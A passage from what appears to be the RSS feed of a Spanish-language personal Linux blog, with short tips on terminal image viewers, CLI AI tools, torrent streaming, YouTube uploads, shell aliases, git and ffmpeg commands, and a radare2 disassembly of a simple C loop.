<p>Fbida instalará fbi, ida, fbpdf. O también podés usar <code>fim</code> que es una versión mejorada fbi te hace un autozoom con <code>yay -S fim</code></p>
<p>Actualización diciembre 2025: No necesitás usar <code>fim</code> podes usar <code>fbi --autozoom --edit *.jpg</code> que es mejor.</p>
<h4 id="ejemplo-de-uso">Ejemplo de uso.</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>fbi --autozoom --edit *.jpg
</span></span><span style="display:flex;"><span>fbpdf *.pdf
</span></span></code></pre></div><p>Se puede usar las keybindings de vim para ver diferentes imágenes.</p>
-
AI en la terminal
https://imlauera.github.io/ai_terminal/
Mon, 18 Nov 2024 14:19:26 -0300
https://imlauera.github.io/ai_terminal/
<p><a href="https://old.reddit.com/r/commandline/comments/1ba5k6h/claude_ai_in_terminal/?rdt=46031">https://old.reddit.com/r/commandline/comments/1ba5k6h/claude_ai_in_terminal/?rdt=46031</a></p>
<p><a href="https://git.blek.codes/blek/hey">https://git.blek.codes/blek/hey</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S hey-duck
</span></span></code></pre></div><p><a href="https://github.com/sigoden/aichat">https://github.com/sigoden/aichat</a> All in one CLI tool for 10+ AI platforms, including OpenAI (ChatGPT), Gemini, Claude, Mistral, LocalAI, Ollama, VertexAI, Ernie, Qianwen…</p>
<p>Actualmente estoy usando modelos gratuitos, no pago por ninguna API key de claude ai, ni chat gpt premium, estos son los modelos gratuitos que soporta:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~> aichat --list-models
</span></span><span style="display:flex;"><span>huggingface:NousResearch/Hermes-3-Llama-3.1-8B
</span></span><span style="display:flex;"><span>huggingface:mistralai/Mistral-Small-Instruct-2409
</span></span><span style="display:flex;"><span>huggingface:mistralai/Mistral-Nemo-Instruct-2407
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Options:
</span></span><span style="display:flex;"><span> -m, --model <MODEL> Select a LLM model
</span></span><span style="display:flex;"><span> --prompt <PROMPT> Use the system prompt
</span></span><span style="display:flex;"><span> -r, --role <ROLE> Select a role
</span></span><span style="display:flex;"><span> -s, --session <span style="color:#f92672">[</span><SESSION><span style="color:#f92672">]</span> Start or join a session
</span></span><span style="display:flex;"><span> --empty-session Ensure the session is empty
</span></span><span style="display:flex;"><span> --save-session Force the session to be saved
</span></span><span style="display:flex;"><span> -a, --agent <AGENT> Start a agent
</span></span><span style="display:flex;"><span> -R, --rag <RAG> Start a RAG
</span></span><span style="display:flex;"><span> --serve <span style="color:#f92672">[</span><ADDRESS><span style="color:#f92672">]</span> Serve the LLM API and WebAPP
</span></span><span style="display:flex;"><span> -e, --execute Execute commands in natural language
</span></span><span style="display:flex;"><span> -c, --code Output code only
</span></span><span style="display:flex;"><span> -f, --file <FILE> Include files with the message
</span></span><span style="display:flex;"><span> -S, --no-stream Turn off stream mode
</span></span><span style="display:flex;"><span> --dry-run Display the message without sending it
</span></span><span style="display:flex;"><span> --info Display information
</span></span><span style="display:flex;"><span> --list-models List all available chat models
</span></span><span style="display:flex;"><span> --list-roles List all roles
</span></span><span style="display:flex;"><span> --list-sessions List all sessions
</span></span><span style="display:flex;"><span> --list-agents List all agents
</span></span><span style="display:flex;"><span> --list-rags List all RAGs
</span></span><span style="display:flex;"><span> -h, --help Print help
</span></span><span style="display:flex;"><span> -V, --version Print version
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I<span style="color:#f92672">]</span> esotericwarfare@arch ~>
</span></span></code></pre></div><p>Podemos usar el argumento <code>--code</code> y <code>-S</code> para que solo nos produzca código sin que escriba línea por línea sino que nos tire la salida de una.</p>
-
Leer pdf desde la TTY, configuración MPV y como hacer todo desde la TTY en el 2024 XD
https://imlauera.github.io/leer_pdf_tty/
Sun, 17 Nov 2024 16:41:01 -0300
https://imlauera.github.io/leer_pdf_tty/
<p>Ya expliqué <a href="https://imlauera.github.io/how_to_play_videos_from_tty/">como mirar imágenes desde la TTY usando el navegador w3m</a> y descargá el PDF. Expliqué <a href="https://imlauera.github.io/post/2022-07-12-usando-mpv-para-mirar-videos-en-pc-s-de-bajos-recursos">como mirar videos de YouTube usando mpv y ytfzf (cuando usas MPV tenés que ejecutarlo sin tmux sino no podras moverte entre las demas TTY)</a>. También expliqué <a href="https://imlauera.github.io/search_and_stream_torrents_cli/">como buscar torrents desde la consola con jackett y btstrm</a>. Se puede usar MPV para mirar videos y para mirar imágenes. También ya expliqué <a href="https://imlauera.github.io/start_tmux_on_login/">como abrir tmux al iniciar session en la TTY</a>.</p>
-
Buscá y streameá torrents desde la terminal usando Jackett y btstrm
https://imlauera.github.io/search_and_stream_torrents_cli/
Sun, 17 Nov 2024 08:39:46 -0300
https://imlauera.github.io/search_and_stream_torrents_cli/
<p><a href="https://old.reddit.com/r/animepiracy/comments/1bheyy7/btstrm_linux_cli_tool_for_torrent_searching">https://old.reddit.com/r/animepiracy/comments/1bheyy7/btstrm_linux_cli_tool_for_torrent_searching</a></p>
<p><a href="https://pypi.org/project/btstrm/">https://pypi.org/project/btstrm/</a></p>
<p><a href="https://github.com/Ajatt-Tools/btstrm">https://github.com/Ajatt-Tools/btstrm</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python -m venv btstrm
</span></span><span style="display:flex;"><span>source btstrm/bin/activate <span style="color:#75715e"># o source btstrm/bin/activate.fish depende de que shell uses</span>
</span></span><span style="display:flex;"><span>pip install btstrm
</span></span><span style="display:flex;"><span>sudo pacman -S chafa fzf btfs <span style="color:#75715e"># Si no encuentra con pacman probá con yay. </span>
</span></span></code></pre></div><h3 id="prerequisites">Prerequisites</h3>
<p>Before using btstrm, ensure that you have the following dependencies installed:</p>
<ul>
<li>Python 3.x</li>
<li>Player of your choice: mpv, vlc or omxplayer (for RPi)</li>
<li>btfs (BitTorrent Filesystem)</li>
<li>fzf (fuzzy finder)</li>
<li>Jackett (optional, but highly recommended for torrent search integration)</li>
<li>impd (optional, for language immersion enthusiasts)</li>
<li>chafa (for displaying movie posters)</li>
<li>osd (optional, for subtitle downloading)</li>
<li>Required Python packages: requests, tqdm, colorama, beautifulsoup4, unidecode</li>
</ul>
<p>Under the hood, btstrm uses some awesome tools:</p>
-
A Stallman no le gusta Bitcoin la supuesta solución: Lightning network
https://imlauera.github.io/lightning_network/
Sat, 16 Nov 2024 17:09:35 -0300
https://imlauera.github.io/lightning_network/
<p><a href="https://old.reddit.com/r/Bitcoin/comments/svqw9o/richard_stallman_does_not_trust_bitcoin/">https://old.reddit.com/r/Bitcoin/comments/svqw9o/richard_stallman_does_not_trust_bitcoin/</a></p>
<p>Lightning Network es una segunda capa agregada a la cadena de bloques de Bitcoin (BTC) que permite transacciones fuera de la cadena, es decir, transacciones entre partes que no están en la red de la blockchain. Múltiples canales de pago entre partes o usuarios de Bitcoin conforman la segunda capa. Un canal de Lightning Network es un método de transacción de dos partes en el que las partes pueden realizar o recibir pagos entre sí. La capa dos mejora la escalabilidad de las aplicaciones de la cadena de bloques mediante la gestión de transacciones fuera de la red principal de la blockchain (capa uno), al mismo tiempo que se beneficia del poderoso paradigma de seguridad descentralizado de la red principal.</p>
-
[AUDIO][APUNTE] Taller de instalación y reparación de aires acondicionados (Clase 18) - Clase Práctica: Pestañamos caños. Recuperamos y liberamos refrigerante. Medimos amperage. Algunas preguntas de examen. Foto tablero.
https://imlauera.github.io/clase18_aires/
Sat, 16 Nov 2024 14:17:48 -0300
https://imlauera.github.io/clase18_aires/
<h3 id="audio-de-la-clase-en-vocaroo">Audio de la clase en Vocaroo:</h3>
<p><a href="https://vocaroo.com/1lQPmlqTM0FS">https://vocaroo.com/1lQPmlqTM0FS</a></p>
<h3 id="audio-de-la-clase-en-youtube">Audio de la clase en YouTube:</h3>
<p><a href="https://www.youtube.com/watch?v=OPw9TiCTo-M">https://www.youtube.com/watch?v=OPw9TiCTo-M</a></p>
<h3 id="audio-de-la-clase-en-invidious">Audio de la clase en Invidious:</h3>
<p><a href="https://redirect.invidious.io/watch?v=OPw9TiCTo-M">https://redirect.invidious.io/watch?v=OPw9TiCTo-M</a></p>
<h3 id="fotos-httpsimlauerblogspotcom202411clase-18-aires-acondicionadoshtml">FOTOS: <a href="https://imlauer.blogspot.com/2024/11/clase-18-aires-acondicionados.html">https://imlauer.blogspot.com/2024/11/clase-18-aires-acondicionados.html</a></h3>
<h3 id="transcripción">Transcripción</h3>
<p>El equipo está limpio o hay que hacer un service, no bueno vamos a pegarle una enjuagada, como te aviso? Mandame un mensaje al privado.</p>
<p>Parilla no hay, justo al mediodía? Algo se puede hacer.</p>
<p>Dos cuadras hacia el parque paraguayo, de california son dos cuadras, es en villa sarita.</p>
-
Publicar audio como video a youtube desde la terminal
https://imlauera.github.io/publicar_audio_como_video/
Sat, 16 Nov 2024 13:28:41 -0300
https://imlauera.github.io/publicar_audio_como_video/
<ol>
<li>Generá el thumbnail usando el script publicado <a href="https://imlauera.github.io/bash_script_generate_youtube_thumbnail/">acá</a>.</li>
<li>Transformá el audio a mp4 usando el comando publicado <a href="https://imlauera.github.io/post/ffmpeg_audio_to_mp4/">acá</a>.</li>
<li>Subí el video a YouTube usando el comando publicado <a href="https://imlauera.github.io/post/upload_videos_from_terminal/">acá</a>.</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ youtube-upload <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --title<span style="color:#f92672">=</span><span style="color:#e6db74">"A.S. Mutter"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --description<span style="color:#f92672">=</span><span style="color:#e6db74">"A.S. Mutter plays Beethoven"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --category<span style="color:#f92672">=</span><span style="color:#e6db74">"Music"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --tags<span style="color:#f92672">=</span><span style="color:#e6db74">"mutter, beethoven"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --recording-date<span style="color:#f92672">=</span><span style="color:#e6db74">"2011-03-10T15:32:17.0Z"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --default-language<span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --default-audio-language<span style="color:#f92672">=</span><span style="color:#e6db74">"en"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --client-secrets<span style="color:#f92672">=</span><span style="color:#e6db74">"my_client_secrets.json"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --credentials-file<span style="color:#f92672">=</span><span style="color:#e6db74">"my_credentials.json"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --playlist<span style="color:#f92672">=</span><span style="color:#e6db74">"My favorite music"</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> --embeddable<span style="color:#f92672">=</span>True|False <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span> anne_sophie_mutter.flv
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>--privacy <span style="color:#f92672">(</span>public | unlisted | private<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>--publish-at <span style="color:#f92672">(</span>YYYY-MM-DDThh:mm:ss.sZ<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>--location <span style="color:#f92672">(</span>latitude<span style="color:#f92672">=</span>VAL,longitude<span style="color:#f92672">=</span>VAL<span style="color:#f92672">[</span>,altitude<span style="color:#f92672">=</span>VAL<span style="color:#f92672">])</span>
</span></span><span style="display:flex;"><span>--thumbnail <span style="color:#f92672">(</span>string<span style="color:#f92672">)</span>
</span></span></code></pre></div>
-
Bash: alias que uso
https://imlauera.github.io/bash_alias/
Fri, 15 Nov 2024 14:42:32 -0300
https://imlauera.github.io/bash_alias/
<p>Para mirar rápidamente mi blog y algunas otras páginas tengo configurado estos alias en mi <code>.config/fish/config.fish</code>, también los podés agregar a <code>.bashrc</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>alias blog <span style="color:#e6db74">'w3m imlauer.blogspot.com'</span>
</span></span><span style="display:flex;"><span>alias dgg <span style="color:#e6db74">'w3m dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias edgg <span style="color:#e6db74">'elinks dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias ldgg <span style="color:#e6db74">'lynx dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias imlauera <span style="color:#e6db74">'w3m imlauera.github.io'</span>
</span></span><span style="display:flex;"><span>alias invidious <span style="color:#e6db74">'w3m https://inv.nadeko.net/feed/subscriptions'</span>
</span></span></code></pre></div><pre tabindex="0"><code>if status is-interactive
# Commands to run in interactive sessions can go here
end
set -U fish_greeting
export QT_QPA_PLATFORM=wayland
alias dgg 'w3m -sixel dgg.gg'
alias f1 'bash scripts/f1exposure.sh'
alias google 'cha -V google.com'
alias 3dgames 'cha -V foros.3dgames.com.ar'
alias wgoogle 'w3m -sixel google.com'
alias tdgg 'w3m -sixel dgg.gg'
alias imlauera 'w3m -sixel imlauera.github.io'
alias cimlauera 'cha -V imlauera.github.io'
alias invidious 'w3m -sixel https://inv.nadeko.net/feed/subscriptions'
alias cinvidious 'cha -V https://inv.nadeko.net/feed/subscriptions'
</code></pre>
-
Borrar archivo grande pusheado por error
https://imlauera.github.io/borrar_archivo_grande_pusheado_por_error/
Fri, 15 Nov 2024 10:20:34 -0300
https://imlauera.github.io/borrar_archivo_grande_pusheado_por_error/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git filter-branch --index-filter <span style="color:#e6db74">'git rm -r --cached --ignore-unmatch <file/dir>'</span> HEAD
</span></span></code></pre></div>
-
W3m uno de los mejores navegadores basados en texto con soporte de imágenes
https://imlauera.github.io/w3m/
Fri, 15 Nov 2024 10:10:07 -0300
https://imlauera.github.io/w3m/
<p>Agrega soporte sixel para poder ver imágenes con foot en wayland:</p>
<ol>
<li>
<p>Install dependencies:<br>
<code>sudo pacman -S base-devel git libsixel</code></p>
</li>
<li>
<p>Clone the w3m repo:<br>
<code>git clone https://github.com/tats/w3m.git && cd w3m</code></p>
</li>
<li>
<p>Configure with sixel:<br>
<code>./configure --enable-image --with-imagelib=sixel</code></p>
</li>
<li>
<p>Build and install:<br>
<code>make && sudo make install</code></p>
</li>
</ol>
<p>Now you can run w3m -sixel to view images in foot.<br>
Want a quick copy-paste script for all the steps? 😃</p>
<hr>
<p>No tiene soporte de JavaScript, se puede usar con las vim keys.
Si tenés instalado elinks, y w3m podés navegar a través de varias páginas sin problemas.</p>
-
Transformar imagenes a video con ffmpeg
https://imlauera.github.io/transformar_imagenes_a_video/
Thu, 14 Nov 2024 15:13:53 -0300
https://imlauera.github.io/transformar_imagenes_a_video/
<p>Precaución: Todas las imágenes o tienen que ser horizontales o tienen que ser verticales, de lo contrario las imágenes quedarán estiradas</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cat *.jpg | ffmpeg -f image2pipe -r <span style="color:#ae81ff">1</span> -vcodec mjpeg -i - -vcodec libx264 out.mp4
</span></span></code></pre></div>
-
Trash: Operation not supported fix
https://imlauera.github.io/trash/
Wed, 13 Nov 2024 07:35:18 -0300
https://imlauera.github.io/trash/
<p>A little help, to mitigate this problem, though not a complete solution: This help will provide access to your deleted files, as long as your trash is not fully functional yet.</p>
<p>The Trash folder can be accessed typing following:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd ~/.local/share/Trash
</span></span></code></pre></div><p>The Trash folder has three subfolders:</p>
<p>files: here you find the deleted files
info: here is the information about the original directory of each deleted file.
expunged: (I do not know exactly its purpose)</p>
-
Limpiar cache de yay en Arch
https://imlauera.github.io/limpiar_cache_yay/
Tue, 12 Nov 2024 10:34:17 -0300
https://imlauera.github.io/limpiar_cache_yay/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -Sc --aur
</span></span><span style="display:flex;"><span>yay -Scc
</span></span><span style="display:flex;"><span>sudo paccache -rk1
</span></span></code></pre></div><p>Alias para Simplificar: Si prefieres que yay siempre limpie solo la caché de AUR, puedes crear un alias en tu archivo .bashrc o .zshrc:
bash</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>alias yay<span style="color:#f92672">=</span><span style="color:#e6db74">'yay --aur'</span>
</span></span></code></pre></div>
-
Ytfzf: comandos básicos
https://imlauera.github.io/ytfzf/
Tue, 12 Nov 2024 06:57:03 -0300
https://imlauera.github.io/ytfzf/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ytfzf -L --type<span style="color:#f92672">=</span>channel asdf <span style="color:#75715e"># Busca canal</span>
</span></span><span style="display:flex;"><span>ytfzf --rii <span style="color:#75715e"># Actualiza instanacias</span>
</span></span><span style="display:flex;"><span>ytfzf -t -T ueberzug asdf
</span></span><span style="display:flex;"><span>ytfzf -L asdf
</span></span><span style="display:flex;"><span>yt-dlp -f134+140 <link obtenido>
</span></span></code></pre></div>
-
Install steam ArchLinux
https://imlauera.github.io/install_steam_archlinux/
Tue, 12 Nov 2024 06:29:11 -0300
https://imlauera.github.io/install_steam_archlinux/
<p><code>sudo vim /etc/pacman.conf</code> y descomentá las líneas</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#f92672">[</span>multilib<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>Include <span style="color:#f92672">=</span> /etc/pacman.d/mirrorlist
</span></span></code></pre></div><p>Luego ejecutá:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -Syu
</span></span><span style="display:flex;"><span>sudo pamcan -S steam
</span></span></code></pre></div>
-
Ai-gate: Perplexity AI, Claude AI, ChatGPT, todo en uno.
https://imlauera.github.io/aigate/
Tue, 12 Nov 2024 05:42:49 -0300
https://imlauera.github.io/aigate/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S ai-gate
</span></span></code></pre></div>
-
Reversing con radare
https://imlauera.github.io/reversing_r2/
Mon, 11 Nov 2024 14:40:37 -0300
https://imlauera.github.io/reversing_r2/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>r2 /bin/ls
</span></span><span style="display:flex;"><span>aaa <span style="color:#75715e"># analiza el binario</span>
</span></span><span style="display:flex;"><span>afl <span style="color:#75715e"># Lista las funciones</span>
</span></span><span style="display:flex;"><span>s main <span style="color:#75715e"># selecciona una función</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># decompila</span>
</span></span><span style="display:flex;"><span>pdf <span style="color:#75715e"># asm</span>
</span></span><span style="display:flex;"><span>pdd <span style="color:#75715e"># r2ai</span>
</span></span><span style="display:flex;"><span>pdg <span style="color:#75715e"># ghidra</span>
</span></span></code></pre></div><p>Ejemplo:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// gcc bucle.c -o bucle
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(){
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; i <span style="color:#f92672"><</span> <span style="color:#ae81ff">100</span>; i<span style="color:#f92672">++</span>) <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"i: %d</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>,i);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Analizamos el binario con radare:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>r2 bucle
</span></span><span style="display:flex;"><span>aaa
</span></span><span style="display:flex;"><span>afl
</span></span><span style="display:flex;"><span>s main
</span></span><span style="display:flex;"><span>pdf
</span></span></code></pre></div><hr>
<p>Este es el código ASM generado por radare:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span> <span style="color:#75715e">; DATA XREF from entry0 @ 0x1058(r)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">┌</span> <span style="color:#960050;background-color:#1e0010">59:</span> <span style="color:#a6e22e">int</span> <span style="color:#66d9ef">main</span> (<span style="color:#66d9ef">int</span> <span style="color:#66d9ef">argc</span>, <span style="color:#66d9ef">char</span> **<span style="color:#66d9ef">argv</span>, <span style="color:#66d9ef">char</span> **<span style="color:#66d9ef">envp</span>)<span style="color:#75715e">;
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> afv: <span style="color:#a6e22e">vars</span>(<span style="color:#ae81ff">1</span>:<span style="color:#66d9ef">sp</span>[<span style="color:#ae81ff">0xc</span><span style="color:#66d9ef">..0xc</span>])
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001139</span> <span style="color:#ae81ff">55</span> <span style="color:#66d9ef">push</span> <span style="color:#66d9ef">rbp</span> <span style="color:#75715e">; Inicializa la pila
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000113a</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">e5</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rbp</span>, <span style="color:#66d9ef">rsp</span> <span style="color:#75715e">; Carga rsp a la base de la pila (rbp).
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000113d</span> <span style="color:#ae81ff">4883</span><span style="color:#66d9ef">ec10</span> <span style="color:#66d9ef">sub</span> <span style="color:#66d9ef">rsp</span>, <span style="color:#ae81ff">0x10</span> <span style="color:#75715e">; 0x10 = 16 en hexadecimal. Crea 16 bits de espacio para las variables.
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001141</span> <span style="color:#66d9ef">c745fc0000..</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">var_4h</span>], <span style="color:#ae81ff">0</span> <span style="color:#75715e">; Mueve 0 a var_4h
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">┌─<</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001148</span> <span style="color:#66d9ef">eb1d</span> <span style="color:#66d9ef">jmp</span> <span style="color:#ae81ff">0x1167</span> <span style="color:#75715e">; Salta a la dirección 0x1167
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#75715e">; CODE XREF from main @ 0x116b(x)
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">┌──></span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000114a</span> <span style="color:#ae81ff">8</span><span style="color:#66d9ef">b45fc</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#66d9ef">dword</span> [<span style="color:#66d9ef">var_4h</span>] <span style="color:#75715e">; Mueve el contenido de var_4h a eax
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000114d</span> <span style="color:#ae81ff">89</span><span style="color:#66d9ef">c6</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">esi</span>, <span style="color:#66d9ef">eax</span> <span style="color:#75715e">; Mueve el eax a esi
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000114f</span> <span style="color:#ae81ff">488</span><span style="color:#66d9ef">d05ae0e..</span> <span style="color:#66d9ef">lea</span> <span style="color:#66d9ef">rax</span>, <span style="color:#66d9ef">str.i</span>:<span style="color:#66d9ef">__d_n</span> <span style="color:#75715e">; 0x2004 ; "i: %d\n" ; Mueve la string a rax
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001156</span> <span style="color:#ae81ff">4889</span><span style="color:#66d9ef">c7</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">rdi</span>, <span style="color:#66d9ef">rax</span> <span style="color:#75715e">; const char *format - carga el rax a rdi
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x00001159</span> <span style="color:#66d9ef">b800000000</span> <span style="color:#66d9ef">mov</span> <span style="color:#66d9ef">eax</span>, <span style="color:#ae81ff">0</span> <span style="color:#75715e">; carga 0 al eax
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">│</span> <span style="color:#960050;background-color:#1e0010">■│</span> <span style="color:#960050;background-color:#1e0010">0</span><span style="color:#a6e22e">x0000115e</span> <span style="color:#66d9ef">e8cdfeffff</span> <span style="color:#66d9ef">call</span> <span style="color:#66d9ef">sym.imp.printf</span> <span style="color:#75715e">; int printf(const char *format) - llama a printf
